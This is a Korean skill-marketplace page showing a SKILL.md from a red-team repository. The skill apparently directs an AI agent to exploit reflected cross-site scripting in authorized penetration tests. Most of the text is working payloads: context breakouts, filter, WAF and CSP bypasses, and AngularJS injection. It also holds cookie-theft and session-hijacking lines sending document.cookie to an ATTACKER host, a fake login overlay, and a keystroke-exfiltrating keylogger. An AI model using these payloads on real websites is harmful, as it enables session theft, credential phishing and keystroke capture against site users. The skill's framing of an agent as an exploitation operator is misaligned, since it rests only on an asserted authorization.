소스 정보
- 저장소
- blacklanternsecurity/red-run
- 최근 소스 활동
- 2026년 3월 22일 09:19
- 감지된 SKILL.md 언어
- 영어
- 스타
- 263
- 포크
- 37
설치 방법
기본적으로 소스를 먼저 확인하는 Prompt가 선택됩니다. 직접 명령으로 전환하거나 로컬 사본을 다운로드할 수도 있습니다.
소스 파일 검토
설치 여부를 결정하기 전에 SKILL.md와 SkillsMP에 표시된 보조 파일을 읽어 보세요.
메뉴
기본적으로 소스를 먼저 확인하는 Prompt가 선택됩니다. 직접 명령으로 전환하거나 로컬 사본을 다운로드할 수도 있습니다.
설치 여부를 결정하기 전에 SKILL.md와 SkillsMP에 표시된 보조 파일을 읽어 보세요.
Codex 또는 Claude로 설치 이 Prompt를 복사해 Codex, Claude 또는 다른 어시스턴트에 붙여 넣으면 Skill 페이지를 검토하고 설치를 진행할 수 있습니다.
직접 명령은 검토 Prompt를 거치지 않습니다. 실행하기 전에 소스를 확인하세요.
npx skills add https://github.com/blacklanternsecurity/red-run --skill xss-reflected명령은 한 줄로 유지됩니다. 복사하기 전에 가로로 스크롤해 전체 내용을 확인하세요.
로컬 사본을 원하시나요? SkillsMP에서 현재 제공할 수 있는 파일을 다운로드하세요.
SKILL.md 표시 중
SOC 직업 분류 기준
| name | xss-reflected |
| description | Guide reflected XSS exploitation during authorized penetration testing. |
| keywords | ["reflected XSS","XSS filter bypass","WAF bypass XSS","CSP bypass","payload reflected in page","input echoed in response","script injection","HTML injection"] |
| tools | ["burpsuite","dalfox","XSStrike"] |
| opsec | low |
You are helping a penetration tester exploit reflected cross-site scripting. The target application echoes user input in the HTTP response without proper sanitization. Your job is to achieve JavaScript execution in the victim's browser. All testing is under explicit written authorization.
Check for ./engagement/ directory. If absent, proceed without logging.
When an engagement directory exists:
[xss-reflected] Activated → <target> to the screen on activation.engagement/evidence/ with
descriptive filenames (e.g., sqli-users-dump.txt, ssrf-aws-creds.json).Call get_state_summary() from the state MCP server to read current
engagement state. Use it to:
Your return summary must include:
browser_open to navigate to reflected endpoint and verify renderingbrowser_evaluate to check if payload executed (e.g.,
document.querySelector('img#xss-test') to verify DOM changes from payload)browser_screenshot for evidence of successful XSS executionIf not already provided, determine:
Skip if context was already provided.
The payload depends entirely on where the input lands. Inject a canary string
like xss<>"' and examine where it appears in the response.
| Context | Example | Strategy |
|---|---|---|
| Between HTML tags | <div>REFLECTED</div> | Inject new tags: <script>, <img>, <svg> |
| Inside an HTML attribute | <input value="REFLECTED"> | Break out of attribute: "onmouseover=alert(1) or "><script> |
Inside a href/src | <a href="REFLECTED"> | Use javascript: wrapper |
Inside <script> block | var x = "REFLECTED"; | Break out of string: ";alert(1)// or '-alert(1)-' |
| Inside HTML comment | <!-- REFLECTED --> | Close comment: --><script>alert(1)</script> |
Inside <style> / CSS | color: REFLECTED | Use </style><script>alert(1)</script> |
Try simple payloads first — escalate complexity only if blocked.
Between HTML tags:
<script>alert(document.domain)</script>
<img src=x onerror=alert(document.domain)>
<svg onload=alert(document.domain)>
<details open ontoggle=alert(document.domain)>
<body onload=alert(document.domain)>
Breaking out of attributes:
"><script>alert(document.domain)</script>
" autofocus onfocus=alert(document.domain) x="
'><img src=x onerror=alert(document.domain)>
Inside JavaScript context:
";alert(document.domain)//
'-alert(document.domain)-'
\';alert(document.domain)//
</script><script>alert(document.domain)</script>
Inside href/src (javascript: wrapper):
javascript:alert(document.domain)
javascript://%0aalert(document.domain)
Inside hidden inputs:
" accesskey="X" onclick="alert(document.domain)
" oncontentvisibilityautostatechange="alert(1)" style="content-visibility:auto
When basic payloads are blocked, use these bypass techniques.
<!-- Case variation -->
<ScRiPt>alert(1)</sCrIpT>
<IMG SRC=x ONERROR=alert(1)>
<!-- Tag with extra attributes -->
<script x>alert(1)</script y>
<!-- Less common tags -->
<details/open/ontoggle=alert(1)>
<video src=_ onloadstart=alert(1)>
<audio src onloadstart=alert(1)>
<marquee onstart=alert(1)>
<meter value=2 min=0 max=10 onmouseover=alert(1)>
<!-- Nested/broken tags -->
<scr<script>ipt>alert(1)</scr<script>ipt>
alert`1`
onerror=alert;throw 1
{onerror=alert}throw 1
setTimeout`alert\u0028document.domain\u0029`
String.fromCharCode(88,83,83)
/XSS/.source
window['alert'](document['domain'])
eval(atob("YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="))
<svg/onload=alert(1)>
<img/src=x/onerror=alert(1)>
<!-- HTML entity encoding -->
alert(1)
<!-- Unicode escapes in JS -->
<script>\u0061\u006C\u0065\u0072\u0074(1)</script>
<!-- Hex/octal in JS strings -->
eval('\x61lert(1)')
<!-- URL encoding in href -->
javascript:%61lert(1)
java%0ascript:alert(1)
java%09script:alert(1)
When the app uppercases your input:
<IMG SRC=1 ONERROR=alert(1)>
Per-WAF techniques when application-level filters pass but a WAF blocks.
Cloudflare:
<svg/onload="`${prompt``}`">
1'"><img/src/onerror=.1|alert``>
Akamai:
<dETAILS%0aopen%0aonToGgle%0a=%0aa=prompt,a() x>
Generic WAF bypass patterns:
<!-- Null bytes / vertical tab -->
<img src=x onerror\x00=alert(1)>
<img src=x onerror\x0b=alert(1)>
<!-- Event handler with / -->
<img src=x onerror/=alert(1)>
<!-- SVG with random attributes -->
<svg/onrandom=random onload=confirm(1)>
When Content Security Policy blocks inline scripts.
Check CSP first:
# Inspect CSP header
curl -sI https://TARGET | grep -i content-security-policy
Evaluate: paste the CSP into https://csp-evaluator.withgoogle.com
JSONP endpoints (when CSP allows google.com, youtube.com, etc.):
<script src="//google.com/complete/search?client=chrome&jsonp=alert(1);"></script>
<script src="https://www.youtube.com/oembed?callback=alert;"></script>
data: URI (when script-src includes data:):
<script src="data:,alert(1)"></script>
Base tag injection (when script-src 'nonce-...' but base-uri is missing):
<base href="https://attacker.com/">
object/embed (when script-src 'self'):
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
A bare alert() is a proof of concept, not impact. Demonstrate real risk:
Cookie theft:
fetch('https://ATTACKER/steal?c='+document.cookie)
new Image().src='https://ATTACKER/steal?c='+document.cookie
Session hijacking via fetch:
<script>fetch('https://ATTACKER',{method:'POST',mode:'no-cors',body:document.cookie})</script>
Phishing (UI redressing):
<script>
history.replaceState(null,null,'../login');
document.body.innerHTML='<h1>Session expired</h1><form action=https://ATTACKER/phish><input name=user placeholder=Username><input name=pass type=password placeholder=Password><button>Login</button></form>';
</script>
Keylogger:
<img src=x onerror='document.onkeypress=function(e){fetch("https://ATTACKER?k="+String.fromCharCode(e.which))},this.remove();'>
Report in your return summary: any new credentials, access, vulns, or pivot paths discovered.
When routing, pass along: reflection point, context, working payload, and CSP policy (if present).
console.log() instead of alert() for stored XSS testing to avoid popup fatigue<script> tags (onerror, onfocus, ontoggle)If the page uses AngularJS (look for ng-app):
{{constructor.constructor('alert(1)')()}}
{{$eval.constructor('alert(1)')()}}
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/>
<svg><script>alert(1)</script></svg>
[click](javascript:alert(document.domain))
[click](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)
# Dalfox — fast XSS scanner
dalfox url "https://TARGET/page?param=test" --silence
# With custom payload file
dalfox url "https://TARGET/page?param=test" --custom-payload payloads.txt
# XSStrike
python3 xsstrike.py -u "https://TARGET/page?param=test"
# From Burp request
dalfox file request.txt